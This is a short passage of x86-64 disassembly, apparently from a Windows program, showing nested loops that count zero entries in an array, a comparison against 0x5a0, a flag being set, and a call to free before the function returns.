mov eax, dword [rbp + 0x7e8]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x1400029dc
add dword [rbp + 0x7e4], 1
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x2a
jle 0x140002962
add dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0x42
jle 0x140002953
cmp dword [rbp + 0x7e4], 0x5a0
jne 0x140002a1a
mov dword [rbp + 0x664], 1
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
add rsp, 0x8d8
pop rbx
pop rsi
pop rdi
pop rbp
ret